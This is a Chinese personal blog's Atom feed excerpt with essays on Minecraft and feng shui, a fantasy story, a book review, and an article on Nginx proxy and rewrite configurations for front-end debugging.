    
      &lt;p&gt;—— litten 2015.11.04&lt;/p&gt;
&lt;p&gt;要不要去厦门玩玩？&lt;br&gt;这个问题，在出发前一晚还是个问题。&lt;br&gt;早上一起来，感觉无数个灵魂在逼催着我：去！&lt;br&gt;这感觉过于强烈，似乎不去那儿，世界就要毁灭了…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/assets/blogImg/gulangyu.jpg&quot; alt=&quot;a cat&quot;&gt; &lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旅行" scheme="http://xiaocp.com/tags/%E6%97%85%E8%A1%8C/"/>
    
  </entry>
  
  <entry>
    <title>Minecraft与《协纪辨方书》</title>
    <link href="http://xiaocp.com/2016/02/13/feng-shui/"/>
    <id>http://xiaocp.com/2016/02/13/feng-shui/</id>
    <published>2016-02-13T15:55:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>春节回家，看着书架藏书甚多，选几本晚时翻翻。<br>《协纪辨方书》有趣，但讲的主要是风水。有朋友说别闹，你个从事IT的人，看什么风水？互联网思维看风水？！<br>其实只是图个有意思。</p><p>有时我想起爷爷，一位老中医。房间里摆了十本书，三本中医著作，七本风水宝典。我都有认真数过。<br>问他，病人会不会觉得你的药方子是靠“算”出来的？<br>他说，那十本书，都是一个意思！<br>当时还是个孩子的我，只能做出我还只是个孩子的表情。<br>不过，这致使看着《走近科学》长大的我，并不对风水排斥。</p><p>后来，有次我想按着“梅花易数”去用程序实现。<br>逻辑部分毫无问题，但起卦部分太过随意了，又不是程序能控制的。<br>也许是我道行尚浅，至今尚未摸清起卦与取卦的时机。但也深深怀疑书本上的描述，以及实际操作的可能。</p><p>比方说…</p><a id="more"></a><p>古人今日赏竹，摘一竹枝，以竹叶数起卦；<br>今日起风，观其风向，辩其声势起卦；<br>内有佳人，琴声铮铮，笑语嫣然，以声音也可起卦。<br>总之非常的雅致…</p><p>那我一个宅男，是不是得靠动漫集数，游戏关卡数，方便面调料包数去起卦呢？<br>总之非常的扯。</p><p>因而我并不信风水。只是明月当空，大江东去，古人看到这些，他们的思绪是怎样的？<br>一步步去揣测他们的揣测，自觉得是件有趣的事情。</p><p>近几天看了些古书，发现古人对地形的思考还是挺有意思的。<br>纪晓岚修《四库全书》，将《协纪辨方书》选入子部。<br>日月表太繁杂，像一本字典；<br>制煞部分太玄乎，感觉靠脑补就可以写小说；<br>其余部分压根儿看不懂；<br>倒是开山立向，关乎地形研究。虽远不及书中摸金校尉寻龙点穴这么荡气回肠，但古人对于环境的理解却有独到之处。<br>对于一些地形，既然学了就记录一下吧。于是想到了Minecraft。</p><h4 id="山环水抱-吉"><a href="#山环水抱-吉" class="headerlink" title="山环水抱 - 吉"></a>山环水抱 - 吉</h4><p><img src="/assets/blogImg/fengshui0.png" alt=""></p><p>“凡宅，山环水抱，必有贵气”<br>不明觉厉型。有书说，“水绕便是龙身泊”，然而实际的用处是什么呢？不懂。<br>不过有条河绕着，在Minecraft里倒是比较好防御僵尸小白苦力怕什么的…</p><h4 id="河右为吉-吉"><a href="#河右为吉-吉" class="headerlink" title="河右为吉 - 吉"></a>河右为吉 - 吉</h4><p><img src="/assets/blogImg/fengshui1.png" alt=""><br>“河右为吉，河左为凶”<br>就高中地理尚存的记忆，河流右岸会比左岸高，居高临下，道法天成。<br>其实想想，哈尔滨，佳木斯居松花江右；兰州，西安，洛阳居黄河右；重庆、上海居长江右。<br>一说也蛮有道理。<br>倒是“江左梅郎”，原来这名字一开始就是要逆天的节奏。嗯，懂了…</p><h4 id="朝垂飞水-凶"><a href="#朝垂飞水-凶" class="headerlink" title="朝垂飞水 - 凶"></a>朝垂飞水 - 凶</h4><p><img src="/assets/blogImg/fengshui2.png" alt=""><br>“凡宅门前不要朝垂飞水，返背者是也，主出淫乱之妇”<br>书上说，宅求“背山依水”，但不能迎着瀑布。<br>也许是它过于卖弄风情，有一种动荡的势头。瀑布心里苦，但瀑布不说。</p><h4 id="血盘照镜-凶"><a href="#血盘照镜-凶" class="headerlink" title="血盘照镜 - 凶"></a>血盘照镜 - 凶</h4><p><img src="/assets/blogImg/fengshui3.png" alt=""><br>“凡宅门前不许开新塘，主绝无子，谓之血盘照镜”<br>这个很好理解，宅门大多是儿童游戏之处，要是发生意外事故，只能池塘来背锅。<br>“血盘照镜”，你能不佩服古人这瘆的慌的文字技巧？</p><h4 id="白虎开口-凶"><a href="#白虎开口-凶" class="headerlink" title="白虎开口 - 凶"></a>白虎开口 - 凶</h4><p><img src="/assets/blogImg/fengshui4.png" alt=""><br>传说中最凶的地形煞。<br>翻译一下古书描述，应该是说白虎居右，阴气重，会造成宾欺主的形势。<br>就地形的直观感受，看起来相当压抑。<br>感觉晚上会有一万个苦力怕掉下来，任何一个脑子正常的飞翔使都不可能在那安家。</p><h4 id="东下西高-吉"><a href="#东下西高-吉" class="headerlink" title="东下西高 - 吉"></a>东下西高 - 吉</h4><p><img src="/assets/blogImg/fengshui5.png" alt=""><br>“凡宅东下西高，富贵英豪”<br>宅基的西边要比东边高，无外乎是增加庭院的采光量，好理解。</p><h4 id="青龙白虎-吉"><a href="#青龙白虎-吉" class="headerlink" title="青龙白虎 - 吉"></a>青龙白虎 - 吉</h4><p><img src="/assets/blogImg/fengshui6.png" alt=""><br>“凡宅左有流水谓之青龙，右有长道谓之白虎”<br>书上说这种地形为最贵，想想也是，饮用、洗涤、出行这几大问题都解决了。<br>要是房地产定能卖个好价钱。</p><p>话说如果标题是《我的世界小屋建造指南》，点开来是这个文章会不会被人打呢？</p><p>—— litten 16.02.13 </p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;春节回家，看着书架藏书甚多，选几本晚时翻翻。&lt;br&gt;《协纪辨方书》有趣，但讲的主要是风水。有朋友说别闹，你个从事IT的人，看什么风水？互联网思维看风水？！&lt;br&gt;其实只是图个有意思。&lt;/p&gt;
&lt;p&gt;有时我想起爷爷，一位老中医。房间里摆了十本书，三本中医著作，七本风水宝典。我都有认真数过。&lt;br&gt;问他，病人会不会觉得你的药方子是靠“算”出来的？&lt;br&gt;他说，那十本书，都是一个意思！&lt;br&gt;当时还是个孩子的我，只能做出我还只是个孩子的表情。&lt;br&gt;不过，这致使看着《走近科学》长大的我，并不对风水排斥。&lt;/p&gt;
&lt;p&gt;后来，有次我想按着“梅花易数”去用程序实现。&lt;br&gt;逻辑部分毫无问题，但起卦部分太过随意了，又不是程序能控制的。&lt;br&gt;也许是我道行尚浅，至今尚未摸清起卦与取卦的时机。但也深深怀疑书本上的描述，以及实际操作的可能。&lt;/p&gt;
&lt;p&gt;比方说…&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
  </entry>
  
  <entry>
    <title>失眠故事四【扎龙人】</title>
    <link href="http://xiaocp.com/2016/02/09/my-fairy-tale3/"/>
    <id>http://xiaocp.com/2016/02/09/my-fairy-tale3/</id>
    <published>2016-02-08T19:55:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/dragon.jpg" alt=""></p><h6 id="Picture-by-Peter-Nagy"><a href="#Picture-by-Peter-Nagy" class="headerlink" title="Picture by Peter Nagy"></a>Picture by <a href="https://dribbble.com/shots/1114225-My-Dragon" target="_blank" rel="noopener">Peter Nagy</a></h6><p><em>题记：失眠与回忆齐飞，脑洞共长天一色，既然睡不着，就写故事吧。<br><a href="/2014/08/22/two-magics-of-the-pilot/">【故事三】</a><a href="/2013/09/10/my-fairy-tale2/">【故事二】</a><a href="/2013/04/30/my-fairy-tale1/">【故事一】</a></em></p><h3 id="扎龙人"><a href="#扎龙人" class="headerlink" title="扎龙人"></a>扎龙人</h3><p>年初一的这天早上，一条尾巴，从自家被窝里窜了出来…</p><p>他本以为是梦，然而事实就是如此：他自己，变成了一条龙，正窝旋床上。坚硬的鳞片摩擦着柔软的羽绒，舒服的质感让人沉醉，也让龙沉醉。不过现在并不是享受的时候。</p><a id="more"></a><p>他开始回忆。<br>他是小镇的手艺人，每年春节，他扎的龙都深受大家喜爱。竹篾扎成的龙，无人自舞，无风自动，它们穿街走巷，上天入地。龙能像小狗一样，恶作剧的叼过姑娘的裙摆；也会虎视眈眈的望着一碗扣肉直流口水。外人惊以为施以了魔法，老人们笑道，这是祖上单传的机关秘术。</p><p>匠心源于天赋与耐心，扎龙人独居竹林，钻研技艺。<br>他曾听小镇铁匠说过，技术即艺术，炉火纯青时，铁匠们将人剑合一！当时，他觉得这说法特别的中二。<br>不过离群索居的他并不知道中二的意思，只能理解为一种中国特色的二。</p><p>然而，年初一，他，变成了一条龙。是不是梦？反正他已经捏过龙下巴了，疼。</p><p>扎龙人想起了父亲，他在三十多年前的春节，在一场大火中不辞而去。<br>释然的光芒从眼中闪过，他仿佛解开了一个谜团：是不是那时候，父亲也变成了一条龙，为了不惊吓到村民，只能选择离开？<br>父亲曾说，竹性乃水性，上善如水，变幻万千，竹子有了灵魂，就看不出是竹子。他的小手曾触碰过父亲扎的龙，扑通扑通，那是龙的心跳。扎龙人认为，这是大成。</p><p>不过，对于眼前该如何起床这件事，他自己倒有了一个精明的计策：用竹篾扎成自己，自己则扮演竹龙！</p><p>计划天衣无缝。门窗一开，鞭炮齐响，飞龙跟往常一样从窗户穿出，人们拍手称快，称赞着这神乎其神的手艺。竹制的扎龙人则在窗前保持着微笑，偶尔挥挥手，接受大家的祝福。真正的扎龙人翔于长空，他第一次俯瞰着这个他深爱，却又孤独的城镇。</p><p>他玩了一整天，每到之处，节日的气氛沸腾到极点。<br>他觉得不怎么孤独，节日不再是一个人的狂欢。<br>他真的去咬了两大块扣肉，逗得孩子们哈哈大笑。<br>他心思一转，决定去叼姑娘的裙摆。要选镇里最年轻最漂亮的姑娘，世界上没有人会去指责一条竹龙是臭流氓。</p><p>他看准了她，弓身，俯冲，大风将眼睛吹得雪亮。<br>一地狂风带起了裙摆，丝绸拂面轻柔似云，时间，在刹那定格 … 他却轻轻地松开了口。一丝阴云遮住了天光，他的眼中藏匿了一片晦暗深海。<br>他看到了姑娘，那双修长的竹制双腿！<br>假腿像两根竹刺，从它眼中刺入，仿佛挑走了灵魂。</p><p>风云瞬息万变，爱与谎言，往往只差一线。<br>也许是突然明白了这场家族童话，飞龙怒火中烧，火焰吞吐而出，一如多年前的那场莫名大火。村民们四处奔逃，衣服渐渐脱落，露出了竹制的躯干。<br>啪啪作响的身体，映得节日的城镇更加辉煌，飞龙却从此没了踪影。</p><p>—— litten 16.02.09 初二</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/dragon.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h6 id=&quot;Picture-by-Peter-Nagy&quot;&gt;&lt;a href=&quot;#Picture-by-Peter-Nagy&quot; class=&quot;headerlink&quot; title=&quot;Picture by Peter Nagy&quot;&gt;&lt;/a&gt;Picture by &lt;a href=&quot;https://dribbble.com/shots/1114225-My-Dragon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Peter Nagy&lt;/a&gt;&lt;/h6&gt;&lt;p&gt;&lt;em&gt;题记：失眠与回忆齐飞，脑洞共长天一色，既然睡不着，就写故事吧。&lt;br&gt;&lt;a href=&quot;/2014/08/22/two-magics-of-the-pilot/&quot;&gt;【故事三】&lt;/a&gt;&lt;a href=&quot;/2013/09/10/my-fairy-tale2/&quot;&gt;【故事二】&lt;/a&gt;&lt;a href=&quot;/2013/04/30/my-fairy-tale1/&quot;&gt;【故事一】&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;扎龙人&quot;&gt;&lt;a href=&quot;#扎龙人&quot; class=&quot;headerlink&quot; title=&quot;扎龙人&quot;&gt;&lt;/a&gt;扎龙人&lt;/h3&gt;&lt;p&gt;年初一的这天早上，一条尾巴，从自家被窝里窜了出来…&lt;/p&gt;
&lt;p&gt;他本以为是梦，然而事实就是如此：他自己，变成了一条龙，正窝旋床上。坚硬的鳞片摩擦着柔软的羽绒，舒服的质感让人沉醉，也让龙沉醉。不过现在并不是享受的时候。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="故事" scheme="http://xiaocp.com/tags/%E6%95%85%E4%BA%8B/"/>
    
  </entry>
  
  <entry>
    <title>从《岛上书店》说开去</title>
    <link href="http://xiaocp.com/2016/01/04/the-storied-life-of-aj/"/>
    <id>http://xiaocp.com/2016/01/04/the-storied-life-of-aj/</id>
    <published>2016-01-04T13:30:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/aj.jpg" alt=""></p><h6 id="Picture-by-Anna-Paschenko-for-Doubble"><a href="#Picture-by-Anna-Paschenko-for-Doubble" class="headerlink" title="Picture by Anna Paschenko for Doubble"></a>Picture by <a href="https://dribbble.com/shots/1188443-Sea" target="_blank" rel="noopener">Anna Paschenko</a> for Doubble</h6><p>“无人为孤岛，一书一世界”。<br>小岛书店的褪色招牌上，写着这么一句话。<br>显然，从一开始，这就是一句假话。</p><p><strong>孤独难以描述，偏偏人们喜欢写</strong>。<br>马尔克斯的荒诞深邃，东野圭吾把绝望写进了骨髓里，阿多尼斯却说那是他的一座花园。而在《岛上书店》里，孤独是温暖的。这就很少见。</p><p>看完书时正巧在飞机上，底下应该是海，云层漫漫令人遐想。书中艾莉丝岛的模样依然模糊，倒是人物分明。那间“十五个玛雅宽，二十个玛雅长”的书店越发清晰。它经行光影，穿越时间，仿佛就在眼前。流水般的笔调，不做作的幽默，我猜玛雅会喜欢它的。<br>总的来说，叙事方式不是我喜欢的那种，但就如刚才所说，它比较特殊。令我总是想起一些，以前的事情…</p><p>可是，<strong>孤独难以去写，偏偏人们总遇到</strong>。</p><a id="more"></a><p>那时，A.J.与志趣相投的妻子妮可，放弃了文学博士学位，跑来孤远的艾莉丝岛，开一间书店。仅仅因为“一个地方如果没有一家书店，就算不上一个地方了”。</p><p>然而，生活让A.J.太过失望。<br>挚爱的妮可去世，志趣相投的图书销售员哈维也长辞，镇店之宝《帖木儿》被盗。一件件烦心事让A.J.越发孤僻冷漠，不近人情，排斥一切。内心，渐如书店所在的孤岛。</p><p>“没有人喜欢孤独，只是不喜欢失望。”村上春树说。</p><p>命运像小偷，失望的A.J.却没想过，这个小偷竟会送给他什么。<br>玛雅，一个弃婴，出现在小岛书店中。</p><p>犹豫不决中，还是选择收养玛雅的A.J.，不得不与身边的人进行交流。</p><p>多年以后，A.J.想说“爱”却说不出来的时候，他才明白，“一书一世界”，靠书去排解孤独的说法，分明是句假话。<br>使他不再孤独的，永远是身边的人。</p><p><strong>又由结局后的艾米想到了三毛，特别在今天</strong>。<br>二十五年前的今天，三毛与她的自由，永远的私奔而去。</p><p>得知三毛生平后，再看《撒哈拉的故事》其实是另一番天地，你看到她的车子在沙漠狂奔时，总想帮她踩一脚刹车，因为昨日的欢歌和明日的悲伤总成正比。看《万水千山走遍》时依然心惊，你希望她能流露些悲伤的情绪，合适就好，然而她身影匆匆，仿佛面无表情，走马而过。<br>然后你只能听之任之，对这波澜壮阔的生命鞠一个躬。</p><p>后来你寻到一个解释叫“万物皆空”。原来在时间的不同刻度，孤独都不相雷同，无论描述它的文字，是温暖的，还是刻薄的。它就在那儿，一动不动，仿佛又不在那儿。</p><p>就像，A.J.只能把love，说成glove；<br>就像，玛雅只能在《海滩一日》里回忆着亲生母亲；<br>就像，艾米到最后都深藏着《迟暮花开》的真相；<br>就像，兰比亚斯与伊斯梅最后守护着的那家小岛书店。</p><p>你说这是一本温暖的小说，但它的冷酷又摆在你触手可及的地方。<br>像一张薄薄的被子，你拥之入眠，而后又半夜冷醒。所谓冷暖自知，大抵如此。<br>那，既然不可能雨季不再来，能做的，只有毫无畏惧，热烈而宁静地走遍万水千山吧。</p><p>“一书一世界，一岁一枯荣；无人为孤岛，春风吹又生”。<br>又或许，那句假话，从一开始，就是真的呢。</p><p>——Litten 2016.1.4</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/aj.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h6 id=&quot;Picture-by-Anna-Paschenko-for-Doubble&quot;&gt;&lt;a href=&quot;#Picture-by-Anna-Paschenko-for-Doubble&quot; class=&quot;headerlink&quot; title=&quot;Picture by Anna Paschenko for Doubble&quot;&gt;&lt;/a&gt;Picture by &lt;a href=&quot;https://dribbble.com/shots/1188443-Sea&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anna Paschenko&lt;/a&gt; for Doubble&lt;/h6&gt;&lt;p&gt;“无人为孤岛，一书一世界”。&lt;br&gt;小岛书店的褪色招牌上，写着这么一句话。&lt;br&gt;显然，从一开始，这就是一句假话。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;孤独难以描述，偏偏人们喜欢写&lt;/strong&gt;。&lt;br&gt;马尔克斯的荒诞深邃，东野圭吾把绝望写进了骨髓里，阿多尼斯却说那是他的一座花园。而在《岛上书店》里，孤独是温暖的。这就很少见。&lt;/p&gt;
&lt;p&gt;看完书时正巧在飞机上，底下应该是海，云层漫漫令人遐想。书中艾莉丝岛的模样依然模糊，倒是人物分明。那间“十五个玛雅宽，二十个玛雅长”的书店越发清晰。它经行光影，穿越时间，仿佛就在眼前。流水般的笔调，不做作的幽默，我猜玛雅会喜欢它的。&lt;br&gt;总的来说，叙事方式不是我喜欢的那种，但就如刚才所说，它比较特殊。令我总是想起一些，以前的事情…&lt;/p&gt;
&lt;p&gt;可是，&lt;strong&gt;孤独难以去写，偏偏人们总遇到&lt;/strong&gt;。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
  </entry>
  
  <entry>
    <title>Nginx能为前端开发带来什么？</title>
    <link href="http://xiaocp.com/2015/11/03/nginx-in-fe/"/>
    <id>http://xiaocp.com/2015/11/03/nginx-in-fe/</id>
    <published>2015-11-03T13:30:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>Nginx那么好，我想去看看。<br>接连逛了两个书城后，我发现并没有Nginx相关的书籍。<br>这就很奇怪！</p><p><img src="/assets/blogImg/nginx0.jpg" alt=""></p><p>Nginx，一名<strong>网红</strong>（网络服务器红人…），就算没有自传和回忆录，争着介绍它的花边新闻也该有吧。</p><p>后来找到仅有的一两本书籍，也直接深入到“源码剖析”的阶段。写得并不十分满意，况且我还不需要这些。<br>后来发现了原因，大概是因为<strong>“使用太简单了，都不值得出书”</strong>。<br>是的，Nginx把纷繁复杂的功能，浓缩成一份简单的配置，极易上手。<br>当它呈现到你面前时，感觉独具匠心。</p><a id="more"></a><h3 id="Nginx与NodeJs"><a href="#Nginx与NodeJs" class="headerlink" title="Nginx与NodeJs"></a>Nginx与NodeJs</h3><p>（这里的标题有点歧义。此处的NodeJs，皆引申为NodeJs所搭建的服务器。）</p><p>有人说，作为一名前端，<strong>我的真爱是NodeJs</strong>。<br>同时也认同，抛去性能之类的比较，单纯从实现的角度，NodeJs编写的服务器也能实现Nginx的各种功能。                </p><p>这些我都赞成，但使用Nginx并不意味着抛弃NodeJs。事实上，它们并不冲突，还可以在一起愉快的玩耍。              </p><p>在业内，这样的模型已很常见：资源转发，反向代理，静态资源处理，负载均衡，这些事情扔给Nginx来处理，只是几行配置的事情；同时在上游，让NodeJs去处理它最擅长的I/O等事情。               </p><p>合理分配各自<strong>擅长</strong>的事情，这样的思路，同样可以运用于前端开发中。                </p><p>以前用NodeJs几百行实现的服务器功能，在npm与github的海洋里花尽心思去寻找的模块，也许在Nginx里是一条成熟的配置。它能帮其分担很多事情，节约了成本。                  </p><h3 id="场景一：环境切换"><a href="#场景一：环境切换" class="headerlink" title="场景一：环境切换"></a>场景一：环境切换</h3><p>前端开发中，经常面临多个部署环境切换的问题。<br>我们通常用配hosts的方式去实现。更优化些，我们将机器的服务绑定了不同的域名：比如正式环境是a.qq.com，测试环境是test.a.qq.com。 </p><p>然而在拓展性和易用性方面，还不足够好。<br>而Nginx作为反向代理，就很容易处理资源转发的问题。                 </p><p>思路很简单：</p><blockquote><ol><li>读取请求里的cookie，如果键名host_id有值，则代理到这个IP地址；</li><li>如果没有，则代理到默认的正式环境（此处举例为1.1.1.1）;</li></ol></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">set $env_id &quot;1.1.1.1&quot;;</span><br><span class="line">if ( $http_cookie ~* &quot;host_id&#x3D;(\S+)(;.*|$)&quot;) &#123;</span><br><span class="line">    set $env_id $1;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">location &#x2F; &#123;</span><br><span class="line">    proxy_set_header Host $host;</span><br><span class="line">    proxy_pass   http:&#x2F;&#x2F;$env_id:80;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那接下来的事情，就是<strong>怎样用最简便的方式，把IP种在cookie里？</strong><br>我们应用了nginx-http-footer-filter模块，html文件经过代理时，都注入了一小段js代码。</p><p>这段代码，会帮我们展示小菜单，点击某个环境时，则将IP种到cookie里，同时刷新页面，让Nginx完成环境切换。<br><img src="/assets/blogImg/nginx1.jpg" alt=""></p><p>切换环境，如今只需点击一次。</p><h3 id="场景二：SourceMap"><a href="#场景二：SourceMap" class="headerlink" title="场景二：SourceMap"></a>场景二：SourceMap</h3><p>在线上环境调试Js代码是件麻烦的事情，因为目前合格的前端部署，代码都应经过压缩。性能问题是优化了，debug可不怎么方便。</p><p>而SourceMap正好可以解决此问题。</p><p>在最新的各版本浏览器里，如果满足：</p><ol><li>压缩后的js文件后面有<code>//# sourceMappingURL=xxx.map</code>格式的注释</li><li>浏览器能正常访问到sourceMappingURL</li></ol><p>那么，就能把压缩过的代码还原。<br>要实现这样的功能，就必须：</p><ol><li>现网环境不带以上形式的注释，同时访问不到sourceMap（安全性考虑）</li><li>测试环境带注释，能访问sourceMap</li></ol><p>这样的模型，用<code>反向代理+内容纂改</code>的思路再合适不过。<br>每次构建编译时，我们会把sourceMap文件存放到一台机器（举例为1.1.1.1），命名为js文件名后加<code>.map</code>后缀。随后，使用Nginx，通过这几行配置就能把此功能实现：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">location ~ \.js$ &#123;</span><br><span class="line">    footer &quot;\n&#x2F;&#x2F;# sourceMappingURL&#x3D;$request_uri.map&quot;;</span><br><span class="line">    footer_types &quot;*&quot;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>只要经过代理，在chrome里，我们能看到每份被压缩过的js文件，都有一个对应的源码文件。<br>你可以直接使用它来做打断点之类的操作，大大的提升了调试质量。<br><img src="/assets/blogImg/nginx2.jpg" alt=""></p><h3 id="场景三：内容纂改"><a href="#场景三：内容纂改" class="headerlink" title="场景三：内容纂改"></a>场景三：内容纂改</h3><p>其实在以上两个场景里，都涉及了“内容纂改”。<br>无论是说“纂改”还是“劫持”，大家的印象都不是什么好事情，但另一方面，他们又可以让事情有趣起来。</p><p>统一介绍下，Nginx涉及纂改的模块有：</p><ul><li><a href="https://m.oschina.net/blog/156826" target="_blank" rel="noopener">nginx_http_footer_filter</a>：往文件的底部添加文字，可包含Nginx的内置变量；</li><li><a href="http://nginx.org/en/docs/http/ngx_http_addition_module.html" target="_blank" rel="noopener">nginx_http_addition_module</a>：从一个url去读取内容，将之添加到文件的头部或顶部；</li><li><a href="http://nginx.org/en/docs/http/ngx_http_sub_module.html" target="_blank" rel="noopener">nginx_http_sub_module</a>：替换字符</li></ul><p>除去上面两种场景，合理运用这些模块对应的配置，可以做出许多小工具，这是很有想象力的事情。<br>单单针对移动web前端开发，就可以实现： </p><blockquote><ol><li>将<a href="http://people.apache.org/~pmuellr/weinre-docs/latest/" target="_blank" rel="noopener">weinre</a>脚本插入到html里，让移动web调试更加便捷。</li><li>移动web经常用到localStorage优化首屏，但debug时又会受到干扰，通过一个按钮很方便的清除本地缓存。</li><li>手机APP内嵌页面，很难将其网址分享给另一个人。通过一个按钮就能生成url对应的二维码等</li></ol></blockquote><h3 id="场景四：本地映射"><a href="#场景四：本地映射" class="headerlink" title="场景四：本地映射"></a>场景四：本地映射</h3><p>在Windows下的前端抓包调试，Fiddler+Willow的能力毋庸置疑。<br>而脱离了.NET体系的Linux和Mac，即使有一些代替工具，但某些方面还是略显不足。   </p><p>比如：<strong>线上接口映射到本地文件</strong>。<br>想到Fiddler的本质也是一个代理，而开启一个有这样能力的Nginx服务，并不是太难的事情。           </p><p>而且，我们可以做得更灵活，比如：</p><ul><li>同时支持慢速调试</li><li>同时支持目录层级映射</li><li>同时支持正则匹配</li><li>JSON返回的数据有可能是变化的（比如分页时候），同时支持动态数据</li></ul><p>这些场景，只运用到Nginx里的“<a href="http://www.linuxidc.com/Linux/2014-01/95493.htm" target="_blank" rel="noopener">rewrite规则</a>”。<br>从参考的文档可以大致看到，rewrite规则非常灵活，能完成各种场景的转发。 </p><p>最简单的模型中，我们把所有带<code>cgi-bin</code>路径的请求，rewite到本地的一个服务，同时带上请求的所有参数，<br>仅需这三行配置即可：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">location ~ &#x2F;cgi-bin&#x2F;* &#123;</span><br><span class="line">    rewrite ^(.*)$ http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;cgi-bin&#x2F; last;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后续的事情，可以在本地创建一个cgi-bin文件夹，在里面放置需要映射的文本，并开启服务到8080端口即可。 </p><h3 id="场景五：移动侧调试"><a href="#场景五：移动侧调试" class="headerlink" title="场景五：移动侧调试"></a>场景五：移动侧调试</h3><p><code>Fiddler</code> 有一个勾选项 <code>Allow remote computers to connect</code>，并可以指定 <code>listen port</code> 可以使得手机/其它终端通过将本机设为代理而访问本机环境，与 <code>hosts</code> 配合会很实用。</p><p>这个功能，用Nginx也很容易做到。<br>通过 <code>default_server</code> 作为代理，手机终端通过设置网络代理为本机IP和相应的 <code>listen port</code>，从而可以访问本机的 Web 服务。</p><p>其中也是用到了<a href="http://nginx.org/en/docs/http/ngx_http_proxy_module.html" target="_blank" rel="noopener">ngx_http_proxy_module</a>模块的配置：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"> server &#123;</span><br><span class="line">    listen  80 default_server;</span><br><span class="line">    server_name  localhost;</span><br><span class="line">    resolver 8.8.8.8;</span><br><span class="line">    location &#x2F; &#123;</span><br><span class="line">        proxy_set_header Host $host;</span><br><span class="line">        proxy_set_header X-Real-Ip $remote_addr;</span><br><span class="line">        proxy_set_header X-Forwarded-For $remote_addr;</span><br><span class="line">        proxy_pass http:&#x2F;&#x2F;$host;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">server &#123;</span><br><span class="line">    listen  80;</span><br><span class="line">    server_name  ke.qq.com;</span><br><span class="line">    location &#x2F; &#123;</span><br><span class="line">        proxy_set_header Host $host;</span><br><span class="line">        proxy_set_header X-Real-Ip $remote_addr;</span><br><span class="line">        proxy_set_header X-Forwarded-For $remote_addr;</span><br><span class="line">        proxy_pass http:&#x2F;&#x2F;127.0.0.1:9091&#x2F;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="边角料"><a href="#边角料" class="headerlink" title="边角料"></a>边角料</h3><p>除去特定场景，Nginx的一些配置也跟前端息息相关。以下简单罗列，作为边角材料。</p><p>1.<a href="https://github.com/alibaba/nginx-http-concat" target="_blank" rel="noopener">nginx_http_concat</a><br>资源合并，处理CDN combo。例如通过这样的方式<code>http://example.com/??style1.css,style2.css,foo/style3.css</code>访问合并后的资源。</p><p>2.<a href="http://nginx.org/en/docs/http/ngx_http_image_filter_module.html" target="_blank" rel="noopener">ngx_http_image_filter_module</a><br>图片处理。提供图片缩放，jpg压缩，旋转等特性。</p><p>3.适配PC与移动web<br>总体可运用<a href="http://nginx.org/en/docs/http/ngx_http_proxy_module.html" target="_blank" rel="noopener">ngx_http_proxy_module</a>，去实现路径转发。判断平台类型的Nginx配置，在开源项目<a href="http://detectmobilebrowsers.com/" target="_blank" rel="noopener">detectmobilebrowsers</a>中可以找到。</p><h3 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h3><p>学习Nginx，我本身只是出于开开眼界的目的。而的确发现了一些很有启发性的特质。<br>于前端开发，无论线上线下，熟练掌握基本配置，可以做出许多提高效率的工具。<br><strong>但既然是工具，熟手就好</strong>。 